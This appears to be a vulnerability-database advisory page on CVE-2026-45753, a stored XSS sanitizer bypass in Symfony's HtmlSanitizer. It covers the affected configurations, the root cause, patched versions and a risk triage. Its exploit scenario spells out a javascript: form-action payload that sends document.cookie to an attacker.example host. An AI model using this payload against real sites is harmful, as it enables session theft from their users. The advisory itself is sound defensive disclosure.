Skip to main content

Symfony HtmlSanitizer CVE-2026-45753

| EUVDEUVD-2026-44344 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-05-28 https://github.com/symfony/symfony GHSA-hhg7-c65m-h7ff
2.1
CVSS 4.0 · Vendor: https://github.com/symfony/symfony
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify app with permissive HtmlSanitizer config
  2. Delivery
    Craft HTML with javascript: URI in action/formaction/cite/poster
  3. Exploit
    Submit payload via untrusted input channel
  4. Install
    Sanitizer omits scheme check for affected attribute
  5. C2
    Malicious URI persists in rendered output
  6. Execute
    Victim interacts with element
  7. Impact
    JavaScript executes in victim browser context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the integrating application to have configured Symfony HtmlSanitizer with one of the following explicitly permissive settings: (1) <form> + action via allowElement('form', '*'), allowElement('form', ['action', ...]), allowElement('form')->allowAttribute('action', 'form'), or the allowStaticElements() preset; (2) <button> or <input type=image> + formaction via allowElement(..., '*'), allowAttribute('formaction', ...), or allowStaticElements(); (3) <blockquote>, <q>, <del>, or <ins> + cite, or <video> + poster, via '*' wildcard or allowAttribute(). The default allowSafeElements() preset is explicitly NOT vulnerable because <form> and formaction are flagged unsafe in W3CReference and excluded from that preset. For the action and formaction attack vectors, the victim must additionally perform a user interaction - submitting the form or clicking the button - which prevents fully passive exploitation. Exploitation is further limited to PHP applications on Symfony 6.1.0 through the fixed versions; applications on patched releases or using tight element allow-lists are not exposed.

Impact

No CVSS score or vector has been assigned to this CVE, which prevents quantitative signal comparison. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog and no EPSS score is available - both gaps mean exploitability signals are advisory-description-only. The conditions for exploitation substantially limit realistic risk: the default allowSafeElements() preset is explicitly not affected, and reaching the vulnerable attributes requires a deliberately permissive configuration (allowElement('form', '*'), allowAttribute('formaction', ...), or the allowStaticElements() preset, which already carries its own documented warnings about residual dangerous behaviors). For action and formaction vectors, user interaction - form submission or button click - is additionally required, ruling out passive drive-by exploitation. Applications that use only allowSafeElements() or tightly scoped allow-lists that exclude these four attributes are not affected. Real-world priority is moderate: the attack surface is real and XSS impact is significant, but the configuration preconditions mean most standard deployments are not exposed. Organizations that have deliberately enabled form or media elements with URL attributes in their sanitizer configuration should treat this as high priority.

Exploit ScenarioDerived

An attacker submits untrusted HTML - for example via a user-generated content field or rich-text input - containing <form action="javascript:fetch('https://attacker.example/steal?c='+document.cookie)"><button type=submit>Click me</button></form> to an application using HtmlSanitizer configured with allowElement('form', '*') or allowStaticElements(). The sanitizer preserves the action attribute without scheme validation, and the malicious payload renders in the victim's browser. When the victim submits the form (or is social-engineered into clicking the button), the javascript: URI executes, exfiltrating session cookies. No public exploit code identified at time of analysis.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 28, 2026

Stored XSS via bypass in Symfony's HtmlSanitizer component allows javascript: URIs to survive sanitization when applications use permissive configurations that admit action, formaction, poster, or cite attributes. The root cause is an incomplete attribute list in UrlAttributeSanitizer::getSupportedAttributes(), which caused DomVisitor to skip URI scheme validation entirely for those four attribute types. No public exploit identified at time of analysis and no CVSS score has been assigned, but successful exploitation enables JavaScript execution in victims' browsers - with the attack gated behind non-default sanitizer configuration choices made by the integrating application.

RemediationAI

Upgrade to symfony/html-sanitizer 6.4.40, 7.4.12, or 8.0.12 (or the corresponding symfony/symfony release), which extend UrlAttributeSanitizer to cover action, formaction, cite, and poster. The upstream fix is available as commit 26a598fcfc4f903cc55ff202f642ee621839825e at https://github.com/symfony/symfony/commit/26a598fcfc4f903cc55ff202f642ee621839825e. One behavioral side-effect to plan for: after patching, relative action values (e.g., action="/submit") on allowed <form> elements will be dropped by default, consistent with how <a href> and <img src> are already handled; call ->allowRelativeLinks() on the sanitizer builder to restore relative action support if your application requires it. If immediate patching is blocked, the most effective compensating control is to audit sanitizer configurations and remove any explicit allowances for action, formaction, poster, or cite attributes - specifically, replace allowElement('form', '*'), allowAttribute('formaction', ...), and allowStaticElements() usages with narrower allow-lists that exclude these attributes. This trade-off restricts HTML rendering capabilities but eliminates the injection surface until the patch can be applied.

Affected VersionsENISA

html-sanitizer 8.0.0-BETA1, < 8.0.12
symfony 7.0.0-BETA1, < 7.4.12
symfony 8.0.0-BETA1, < 8.0.12
html-sanitizer 7.0.0-BETA1, < 7.4.12
html-sanitizer 6.1.0-BETA1, < 6.4.40
symfony 6.1.0-BETA1, < 6.4.40

Affected Packages

composer symfony/html-sanitizer fix: 6.4.40, 7.4.12, 8.0.12
composer symfony/symfony fix: 6.4.40, 7.4.12, 8.0.12
euvd html_sanitizer_6_1_0_beta1 fix: 6.4.40
euvd html_sanitizer_7_0_0_beta1 fix: 7.4.12
euvd html_sanitizer_8_0_0_beta1 fix: 8.0.12
euvd symfony_6_1_0_beta1 fix: 6.4.40
euvd symfony_7_0_0_beta1 fix: 7.4.12
euvd symfony_8_0_0_beta1 fix: 8.0.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 8 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected code lives in the UrlAttributeSanitizer class within the symfony/html-sanitizer Composer package (also distributed as part of symfony/symfony). This class implements a visitor pattern: DomVisitor iterates over DOM elements and invokes registered visitors only for the attributes they declare via getSupportedAttributes(). UrlAttributeSanitizer was responsible for stripping dangerous schemes such as javascript: and data: from URL-valued attributes, but its supported list was ['src', 'href', 'lowsrc', 'background', 'ping'] - omitting action (used on <form>), formaction (used on <button> and <input type=image>), poster (used on <video>), and cite (used on <blockquote>, <q>, <del>, <ins>). Because DomVisitor never dispatched those attributes to UrlAttributeSanitizer, any javascript: URI placed in them would pass through unmodified if the element/attribute allow-list permitted the attribute. The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting), specifically a sanitizer bypass variant rather than a missing-sanitization variant. Affected packages are pkg:composer/symfony/html-sanitizer and pkg:composer/symfony/symfony.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/symfony/symfony) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/symfony/symfony) · only source for this CVE.

CVSS VectorVendor: https://github.com/symfony/symfony

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 14, 2026 - 19:22 NVD
2.1 (LOW)

DescriptionCVE.org

Description

symfony/html-sanitizer lets applications sanitise untrusted HTML. UrlAttributeSanitizer is the visitor responsible for validating URL-valued attributes and stripping dangerous schemes from them; it runs on every element regardless of configuration. Whether an attribute is *kept* is decided by the element/attribute allow-list; validating the *scheme* of a URL attribute is solely UrlAttributeSanitizer's responsibility.

UrlAttributeSanitizer::getSupportedAttributes() returned only ['src', 'href', 'lowsrc', 'background', 'ping']. The HTML URL-valued attributes action (<form>), formaction (<button>, <input type=image>), poster (<video>) and cite (<blockquote>, <q>, <del>, <ins>) were missing from that list, so DomVisitor never invoked scheme validation for them. As a result, when a configuration admits one of those attributes, a javascript: URI in it survived sanitisation.

Conditions for exploitation

allowSafeElements() is not affected: <form> and the formaction attribute are both flagged unsafe in W3CReference, and allowElement('form') resets the element's attribute list. Reaching the vulnerable attributes requires a deliberately permissive configuration, for example:

  • <form> + action: allowElement('form', '*'), allowElement('form', ['action', …]), allowElement('form')->allowAttribute('action', 'form'), or the allowStaticElements() preset (whose docblock already warns the output "may still contain other dangerous behaviors");
  • <button> / <input type=image> + formaction: allowElement(…, '*'), allowAttribute('formaction', …), or allowStaticElements();
  • <blockquote> / <q> / <del> / <ins> + cite, or <video> + poster: similarly via '*', allowAttribute(), or allowStaticElements().

For the action / formaction cases the victim must additionally submit the form or click the button.

Resolution

UrlAttributeSanitizer now also handles action, formaction, cite and poster. action / formaction / cite are validated against the link schemes (like <a href>, so javascript: is rejected and data: is dropped too); poster is validated against the media schemes (so data: images keep working). The behaviour of <a href> and <img src> is unchanged.

One behaviour change to be aware of: a relative action="/submit" on an allowed <form> is now dropped by default (the same as <a href> / <img src> today); ->allowRelativeLinks() re-enables it.

The patch for this issue is available here for branch 6.4.

Credits

Symfony would like to thank Himanshu Anand and Rémi Pelloux for reporting the issue and Nicolas Grekas for providing the fix.

Threat Intelligence Overview

EPSS Score
0.1%
Top 76% exploitable
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy